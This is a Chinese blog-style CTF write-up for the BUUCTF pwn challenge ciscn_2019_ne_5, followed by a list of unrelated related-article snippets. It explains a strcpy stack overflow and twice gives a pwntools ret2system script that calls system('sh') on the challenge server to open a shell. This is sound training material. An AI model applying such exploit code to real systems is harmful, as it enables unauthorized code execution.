当前位置: 首页 > news >正文

BUUCTF-pwn-ciscn_2019_ne_51

简单查看保护:


32为程序没有canary没有PIE,应该是简单的栈溢出。我们照着这个思路去找溢出点在哪,运行下程序看看什么情况:


程序上来是输入一个密码验证。随便输入下错误直接退出。因此我们需要到IDA中看看怎么回事:


主函数大致流程在此。还给了system函数地址:


使用ROPgadget工具查找字符串/bin/sh:

ROPgadget --binary ciscn_2019_ne_5 --string ‘/bin/sh’

 


啥也没有。这里就有一个小技巧了。当找不到/bin/sh的时候,可以用sh代替。我们查找下程序中存不存在sh:


找到了。那么我们需要构造的东西都有了,接着就是找溢出点。观察程序流程:       


对应程序中是这样:


我们观察这个函数:

from pwn import*
io=remote('node4.buuoj.cn',27546)
#io=process('./ciscn_2019_ne_5')
system_addr=0x080484d0
sh_addr=0x080482ea
io.recvuntil('password:')
io.sendline('administrator')
io.recvuntil('Exit\n:')
io.sendline(str(1))
io.recvuntil('info:')
payload=b'a'*0x4c+p32(system_addr)+b'a'*4+p32(sh_addr)
io.sendline(payload)
io.recvuntil('Exit\n:')
io.sendline(str(4))
io.interactive()

它会把我们的输入放入src这个数组中。并在隐藏选项4中引用:


我们看到strcpy是将src的内容复制到dest。我们前面看到src允许我们输入128个字节。而dest数组离ebp只有0x48个字节。因此这里可以溢出。直接构造payload:

from pwn import*
io=remote('node4.buuoj.cn',27546)
#io=process('./ciscn_2019_ne_5')
system_addr=0x080484d0
sh_addr=0x080482ea
io.recvuntil('password:')
io.sendline('administrator')
io.recvuntil('Exit\n:')
io.sendline(str(1))
io.recvuntil('info:')
payload=b'a'*0x4c+p32(system_addr)+b'a'*4+p32(sh_addr)
io.sendline(payload)
io.recvuntil('Exit\n:')
io.sendline(str(4))
io.interactive()

得到flag:

相关文章:

BUUCTF-pwn-ciscn_2019_ne_51

简单查看保护: 32为程序没有canary没有PIE,应该是简单的栈溢出。我们照着这个思路去找溢出点在哪,运行下程序看看什么情况: 程序上来是输入一个密码验证。随便输入下错误直接退出。因此我们需要到IDA中看看怎么回事: 主…...

【限时免费】20天拿下华为OD笔试之【哈希表】2023Q2B-选修课【欧弟算法】全网注释最详细分类最全的华为OD真题题解

文章目录 题目描述与示例题目描述输入输出示例一输入输出说明 示例二输入输出说明 解题思路代码PythonJavaC时空复杂度 华为OD算法/大厂面试高频题算法练习冲刺训练 题目描述与示例 题目描述 现有两门选修课,每门选修课都有一部分学生选修,每个学生都有…...

Android关于杀掉进程的方案

《风波莫听穿林打叶声》—— 苏轼 〔宋代〕 三月七日,沙湖道中遇雨,雨具先去,同行皆狼狈,余独不觉。已而遂晴,故作此词。 莫听穿林打叶声,何妨吟啸且徐行。 竹杖芒鞋轻胜马,谁怕?一蓑…...

mysql数据库基本概念简介

概述 为什么要使用数据库? 答:实现数据的持久化。 数据库存储类型多样,存储量大。由于其他文件等介质。 概念 DB:database(数据库),保存数据的仓库,本质是一个文件系统。 DBMS:数据库管理系统,常说的Mysql数…...

前端开发_HTML

简介 CSS用于美化内容 HTML用于摆放内容 可以理解为HTML是基础&#xff0c;CSS是工具 HTML定义 HTML 超文本标记语言——HyperText Markup Language 超文本——链接 标记——标签&#xff0c;即带尖括号的文本 标签语法 双标签 开始标签&#xff1a; <xxx> 即尖…...

1.Spring源码解析-ClassPathXmlApplicationContext

此类是读取spring的xml配置文件并解析。也是源码入口之一。 我们调试即将开始。 传递给父类设置值 经调试我们得到是给AbstractApplicationContext设置默认的应用上下文父级的值&#xff0c;很明显是空 给父类AbstractRefreshableConfigApplicationContext设置属性 刷新容器…...

android 动态创建selector状态选择器 动态创建Drawable

最近在做一个使用接口返回的字符串&#xff1a;"#ff0000" 来动态设置drawable背景颜色与动态设置状态选择器selector的需求&#xff0c;之前写习惯了shape的xml&#xff0c;还是第一次写动态的&#xff0c;有点搞笑&#xff0c;搞笑的是自己没写过&#xff0c;不知道…...

Python与设计模式--责任链模式

23种计模式之 前言 &#xff08;5&#xff09;单例模式、工厂模式、简单工厂模式、抽象工厂模式、建造者模式、原型模式、(7)代理模式、装饰器模式、适配器模式、门面模式、组合模式、享元模式、桥梁模式、&#xff08;11&#xff09;策略模式、责任链模式、命令模式、中介者模…...

(C)一些题6

1.正确定义符号常量PI的宏定义为 A.define PI 3.14 B.define PI 3.14: C。#define PI 3.14 D #define PI 3.14&#xff1b; 2。关于字符数组的描述中错误的是() A.字符数组可以存放字符串 B.字符数组中的字符串可以整体输入和输出 C。可以在赋值语句中通过运算符“”对…...

基于单片机的肺活量检测系统(论文+源码)

1.系统设计 在基于单片机的肺活量检测系统中&#xff0c;在硬件上整个系统通过利用主控制器STC89C52单片机来实现对整个系统进行控制的功能&#xff0c;通过采用LCD1602实现实时液晶显示数据的功能&#xff0c;通过肺活量传感器XGZP6847ADC0832实现监测肺活量的工作&#xff0…...

【开题报告】海洋多源数据质量控制应用服务的WebServer设计与实现

开 题 报 告 内 容 论文选题的意义、主要研究内容和文献资料调研情况 一、选题意义 在当今世界研究自然环境的大背景下&#xff0c;计算机技术与各学科、各领域的综合应用逐渐增多。作为地球上最广阔的水体&#xff0c;同时也是地球上决定气候发展的主要的因素之一&#xff0…...

接单平台在精不在多,劝诸位程序员找个好平台!

程序员想找兼职搞副业&#xff0c;结果知乎上逛了一大圈&#xff0c;各种平台推荐&#xff0c;可以说是眼花缭乱。要么就是平台一搜&#xff0c;各种劝退&#xff01;好好好&#xff0c;就问一句&#xff0c;还搞不搞&#xff1f;Of course~有钱还不赚的是傻子。加班摸鱼的时候…...

mybatis关于namespace以及id以及Mapper接口命名的说明(了解)

1、建库建表 CREATE DATABASE mybatis-example;USE mybatis-example;CREATE TABLE t_emp(emp_id INT AUTO_INCREMENT,emp_name CHAR(100),emp_salary DOUBLE(10,5),PRIMARY KEY(emp_id) );INSERT INTO t_emp(emp_name,emp_salary) VALUES("tom",200.33); INSERT INTO…...

MySQL中的锁(简单)

目录 1. 共享锁&#xff08;Shared Lock&#xff09;&#xff1a; 2. 排他锁&#xff08;Exclusive Lock&#xff09;&#xff1a; 3. 行级锁&#xff08;Row-Level Lock&#xff09;&#xff1a; 4. 页级锁&#xff08;Page-Level Lock&#xff09;&#xff1a; 5. 表级锁…...

【独家OD2023C卷真题】20天拿下华为OD笔试【贪心】2023C-分配土地最大面积【欧弟算法】全网注释最详细分类最全的华为OD真题题解

文章目录 题目描述与示例题目描述输入描述输出描述备注示例一输入输出说明 示例二输入输出说明 解题思路单种颜色的最小覆盖面积多种颜色的最小覆盖面积 代码PythonJavaC时空复杂度 华为OD算法/大厂面试高频题算法练习冲刺训练 题目描述与示例 题目描述 从前有个村庄&#xf…...

省市区编码sql

CREATE TABLE area (id bigint(20) NOT NULL AUTO_INCREMENT COMMENT 主键,code varchar(64) COLLATE utf8mb4_bin DEFAULT NULL COMMENT 编码,name varchar(255) COLLATE utf8mb4_bin DEFAULT NULL COMMENT 名称,parent_code varchar(64) COLLATE utf8mb4_bin DEFAULT NULL CO…...

实现电商平台与营销系统无缝集成:雅座的无代码开发与API连接

无代码开发&#xff1a;营销的新引擎 在数字化转型的浪潮中&#xff0c;无代码开发已成为企业提升效率、减少成本的新引擎。这种开发方式允许非技术人员通过图形界面构建应用程序&#xff0c;无需编写代码即可实现复杂功能。这对于营销、广告推广以及用户运营等业务尤为重要&a…...

win10下安装 Anaconda + Cuda + Cudnn + Pycharm + Pytorch

1.安装Anaconda &#xff08;1-1&#xff09;下载Ananconda, Anaconda官网 选择windows版本&#xff1b; &#xff08;1-2&#xff09;安装Anaconda,一般选择【Just Me】 &#xff08;1-3&#xff09;建议不要装在C盘&#xff0c;后期多环境的python环境和各种库文件会占用很多…...

第20章 多线程

创建线程 继承Thread 类 Thread 类时 java.lang 包中的一个类&#xff0c;从类中实例化的对象代表线程&#xff0c;程序员启动一个新线程需要建立 Thread 实例。 Thread 对象需要一个任务来执行&#xff0c;任务是指线程在启动时执行的工作&#xff0c;start() 方法启动线程&am…...

自定义类型:结构体,枚举,联合

1结构体的声明 1.1结构体基础知识 结构是一些值的集合&#xff0c;这些值称为成员变量。结构的每个成员可以是不同类型的变量。 1.2声明&#xff1a; struct tag {member-list; }variable-list; 描述一个学生&#xff1a; struct Stu {char name[20];//名字int age;//年龄char…...

5分钟部署MGeo:中文地址相似度识别零基础教程

5分钟部署MGeo&#xff1a;中文地址相似度识别零基础教程 你是不是遇到过这样的问题&#xff1f;手里有两份地址数据&#xff0c;一份来自电商订单&#xff0c;一份来自物流系统&#xff0c;明明应该是同一个地方&#xff0c;但写法五花八门——“北京市朝阳区望京街1号”、“…...

MEMS加速度计:从原理到智能设备的创新应用

1. MEMS加速度计&#xff1a;小身材大能量的传感器 你可能每天都在用MEMS加速度计&#xff0c;只是自己不知道。当你把手机横过来看视频时屏幕自动旋转&#xff0c;或者戴着智能手表记录步数时&#xff0c;背后都是这个小东西在默默工作。MEMS加速度计全称是微机电系统加速度计…...

008.S3C2440中断分析|千篇笔记实现嵌入式全栈/裸机篇

1. 流程 S3C2440中断流程如下&#xff0c; 发生中断时&#xff0c;[SUB]SRCPND源挂起寄存器对应的bit位会置位&#xff0c; 然后[SUB]MASK屏蔽寄存器对应的bit位会卡一下&#xff0c;决定中断流要不要继续&#xff0c; 也就是说不管中断有没有被屏蔽&#xff0c;源挂起寄存…...

5分钟搞定OpenClaw+Kimi-VL-A3B-Thinking:星图GPU镜像一键体验

5分钟搞定OpenClawKimi-VL-A3B-Thinking&#xff1a;星图GPU镜像一键体验 1. 为什么选择云端沙盒体验OpenClaw 作为一个长期折腾本地AI部署的技术爱好者&#xff0c;我深刻理解配置环境的痛苦。上周尝试在MacBook Pro上手动部署OpenClaw时&#xff0c;光是解决Node.js版本冲突…...

解决Open-AutoGLM部署难题:ADB连接、模型加载、内存不足全攻略

解决Open-AutoGLM部署难题&#xff1a;ADB连接、模型加载、内存不足全攻略 1. 项目简介与核心价值 Open-AutoGLM是智谱AI开源的手机端智能助理框架&#xff0c;它能通过自然语言指令自动操控安卓设备。想象一下&#xff0c;只需说"打开小红书搜美食"&#xff0c;AI…...

ML.NET跨平台开发终极指南:machinelearning-samples Linux与macOS部署详解

ML.NET跨平台开发终极指南&#xff1a;machinelearning-samples Linux与macOS部署详解 【免费下载链接】machinelearning-samples Samples for ML.NET, an open source and cross-platform machine learning framework for .NET. 项目地址: https://gitcode.com/gh_mirrors/m…...

Gephi新手必看:如何用Excel表格快速创建你的第一个社交网络图

Gephi新手必看&#xff1a;如何用Excel表格快速创建你的第一个社交网络图 第一次打开Gephi时&#xff0c;那些复杂的界面和术语可能会让你望而却步。但别担心&#xff0c;就像用Excel做表格一样简单&#xff0c;我们完全可以用最熟悉的电子表格来构建专业的社交网络图。想象一下…...

Win11+Ubuntu22.04双系统避坑指南:如何正确分配分区空间(含CUDA安装建议)

Win11Ubuntu 22.04双系统分区策略与CUDA开发环境配置实战 作为一名长期在深度学习领域工作的开发者&#xff0c;我经历过无数次双系统安装的"血泪史"。特别是当项目 deadline 临近&#xff0c;却因为分区不当导致 CUDA 无法安装时&#xff0c;那种绝望感至今难忘。本…...

CSS如何制作透明度渐变的蒙版_使用linear-gradient从黑色过渡到透明

linear-gradient做透明蒙版时背景没变暗&#xff0c;是因为未使用带alpha通道的颜色&#xff08;如rgba或带透明度的十六进制&#xff09;&#xff0c;而默认颜色如black或#000无透明度&#xff0c;导致渐变失效&#xff1b;必须用rgba(0,0,0,0.8)到rgba(0,0,0,0)等显式透明色&…...

告别命令行恐惧:用LLaMA-Factory的Gradio WebUI,像玩积木一样微调你的大模型

告别命令行恐惧&#xff1a;用LLaMA-Factory的Gradio WebUI&#xff0c;像玩积木一样微调你的大模型 当大模型技术从实验室走向产业应用时&#xff0c;一个残酷的现实摆在眼前&#xff1a;90%的潜在使用者被命令行界面挡在门外。那些闪烁着光标的神秘终端窗口&#xff0c;就像一…...